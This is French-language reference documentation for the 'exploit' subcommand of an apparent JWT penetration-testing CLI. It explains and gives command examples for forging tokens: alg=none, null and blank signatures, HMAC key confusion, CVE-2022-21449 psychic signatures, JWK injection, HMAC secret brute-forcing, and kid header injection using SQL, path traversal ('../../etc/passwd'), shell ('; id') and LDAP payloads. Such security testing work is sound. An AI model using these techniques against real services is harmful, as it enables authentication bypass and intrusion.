Aller au contenu

exploit

Applique un exploit de sécurité JWT à un token existant et affiche le token modifié sur stdout. Chaque sous-commande implémente un exploit indépendamment.

Terminal window
jwtop exploit <subcommand> <token> [flags]

Chaque sous-commande peut aussi lire <token> depuis stdin lorsqu’il est omis, ex. jwtop find --file page.html | jwtop exploit algnone.

Sous-commandeDescription
algnoneDéfinit alg=none et supprime la signature
blanksecretRe-signe avec un secret HMAC vide
nullsigSupprime la signature en conservant l’alg d’origine
hmacconfusionRe-signe en utilisant une clé publique comme secret HMAC (RS/ES → HS)
psychicsigRe-signe avec une signature ECDSA à zéro (r=0, s=0)
kidinjectionInjecte une valeur dans le header kid
jwkinjectionEmbarque un JWK auto-signé dans le header et re-signe (CVE-2018-0114)
weaksecretForce brute sur le secret de signature HMAC

Définit alg=none et supprime la signature. Utilisez --all pour produire un token par variante de casse (none, NONE, None, nOnE), afin de couvrir les bibliothèques qui comparent l’algorithme sans tenir compte de la casse.

Terminal window
jwtop exploit algnone <token>
jwtop exploit algnone --all <token>
OptionDescription
--allAffiche un token par variante de casse de "none"

Re-signe le token avec une chaîne vide comme secret HMAC. Un serveur qui accepte ce token est configuré avec une clé de signature vide.

Terminal window
jwtop exploit blanksecret <token>

Supprime le segment de signature en laissant le header alg inchangé. Le token résultant a la forme header.payload. (point final, signature vide).

Terminal window
jwtop exploit nullsig <token>

Re-signe un token RSA ou ECDSA sous sa forme HMAC équivalente, en utilisant le PEM de la clé publique du serveur comme secret HMAC. Exploite les serveurs qui vérifient des tokens HS256 avec leur clé publique RSA/EC.

Correspondance des algorithmes (même force en bits) :

OriginalExploité
RS256 / ES256 / PS256HS256
RS384 / ES384 / PS384HS384
RS512 / ES512 / PS512HS512
Terminal window
jwtop exploit hmacconfusion <token> --key <pem-file-or-url>
OptionDescription
--keyChemin ou URL vers un fichier de clé publique PEM (obligatoire)

Re-signe un token ECDSA (ES256, ES384, ou ES512) avec une signature r=0, s=0, dimensionnée pour l’algorithme déclaré du token. Exploite la CVE-2022-21449 (« psychic signatures in Java »), où certains vérificateurs ECDSA (notamment le fournisseur SunEC de Java 15-18) ne rejetaient pas r=0/s=0, acceptant le token comme valablement signé pour n’importe quel message et n’importe quelle clé publique.

Terminal window
jwtop exploit psychicsig <token>

Manipule le champ d’en-tête kid et re-signe le token.

Terminal window
jwtop exploit kidinjection <token> [--mode <mode>] [--kid <value>] [--secret <secret>] [--all]
OptionDescription
--modesql, path, command, ldap, ou raw (par défaut sql)
--kidRemplace la valeur de kid (prime sur la valeur par défaut du mode)
--sql-tableNom de table pour le payload du mode sql (par défaut tokens)
--pathChemin de fichier pour le payload du mode path (par défaut /dev/null)
--secretSecret HMAC utilisé pour signer (remplace la valeur par défaut du mode)
--allAvec le mode command ou ldap, affiche un token par variante de payload connue

Modes :

Modekid par défautSecret par défautDescription
sql' UNION SELECT 'secret' FROM <table> WHERE '1'='1secretInjection SQL — fait retourner une valeur contrôlée par l’attaquant à un SELECT
path/dev/null(vide)Path traversal vers un fichier vide
command; id(vide)Payload de métacaractères shell — cible les serveurs qui délèguent au shell en utilisant kid pour localiser un fichier de clé
ldap`)(uid=))((uid=*`(vide)
raw(requis via --kid)(vide)Valeur arbitraire

Exemples :

Terminal window
# Injection SQL (table par défaut : tokens)
jwtop exploit kidinjection --mode sql $TOKEN
# Injection SQL ciblant une table personnalisée
jwtop exploit kidinjection --mode sql --sql-table keys $TOKEN
# Path traversal (chemin par défaut : /dev/null)
jwtop exploit kidinjection --mode path $TOKEN
# Path traversal avec un chemin personnalisé
jwtop exploit kidinjection --mode path --path /proc/sys/kernel/ns_last_pid $TOKEN
# Injection de commande (payload par défaut : "; id")
jwtop exploit kidinjection --mode command $TOKEN
# Injection de commande — un token par variante de payload shell connue
jwtop exploit kidinjection --mode command --all $TOKEN
# Injection LDAP (payload par défaut)
jwtop exploit kidinjection --mode ldap $TOKEN
# Injection LDAP — un token par variante de payload LDAP connue
jwtop exploit kidinjection --mode ldap --all $TOKEN
# Valeur kid arbitraire
jwtop exploit kidinjection --mode raw --kid "../../etc/passwd" --secret "" $TOKEN

Génère une paire de clés RSA/ECDSA auto-signée, embarque sa clé publique directement dans le champ d’en-tête jwk du token, et re-signe avec la clé privée correspondante. Exploite la CVE-2018-0114, où certaines bibliothèques JWT faisaient confiance à un jwk embarqué au lieu de valider contre un jeu de clés connu.

Terminal window
jwtop exploit jwkinjection <token> [--alg <alg>] [--key <pem-file-or-url>]
OptionDescription
--algAlgorithme de signature pour la paire de clés générée (par défaut RS256)
--keyChemin ou URL vers un fichier de clé privée PEM — re-signe avec cette clé au lieu d’en générer une nouvelle

Exemples :

Terminal window
# Générer une nouvelle paire de clés RS256 (par défaut)
jwtop exploit jwkinjection $TOKEN
# Générer une nouvelle paire de clés ES256
jwtop exploit jwkinjection $TOKEN --alg ES256
# Re-signer avec une clé privée existante
jwtop exploit jwkinjection $TOKEN --key /path/to/private.pem

Attaque par dictionnaire le secret de signature HMAC d’un token HS256/HS384/HS512. La wordlist intégrée est essayée en premier, puis un éventuel fichier --wordlist, puis les éventuelles valeurs --secret explicites.

Terminal window
jwtop exploit weaksecret <token> [--wordlist <file>] [--secret <s>...] [--workers <n>]
OptionDescription
--wordlistChemin vers un fichier de secrets candidats, un par ligne
--secretSecret candidat explicite (répétable)
--workersNombre de workers concurrents (par défaut 8)
--johnSe rabat sur l’outil externe john si l’attaque intégrée ne trouve pas le secret
--john-pathChemin vers le binaire john — le passer implique --john
--hashcatSe rabat sur l’outil externe hashcat si l’attaque intégrée ne trouve pas le secret
--hashcat-pathChemin vers le binaire hashcat — le passer implique --hashcat
--crack-timeoutDurée maximale d’exécution de john/hashcat avant arrêt (par défaut 5m)

--john/--hashcat sont optionnels, désactivés par défaut, et se comportent exactement comme dans crack : auto-détectés avec un avertissement sur stderr lorsque disponibles mais non utilisés, un avertissement de timeout s’ils ne terminent pas à temps, et inutilisables dans l’image Docker publiée. Voir cette page pour les instructions d’installation.

Exemples :

Terminal window
# Utiliser le dictionnaire intégré
jwtop exploit weaksecret $TOKEN
# Ajouter des valeurs explicites en plus du dictionnaire intégré
jwtop exploit weaksecret $TOKEN --secret mysecret --secret topsecret
# Utiliser une wordlist personnalisée
jwtop exploit weaksecret $TOKEN --wordlist /path/to/secrets.txt
# Se rabattre sur hashcat pour une grande wordlist
jwtop exploit weaksecret $TOKEN --wordlist /path/to/rockyou.txt --hashcat

Affiche le secret retrouvé sur stdout (code 0) s’il est trouvé ; retourne 1 sinon.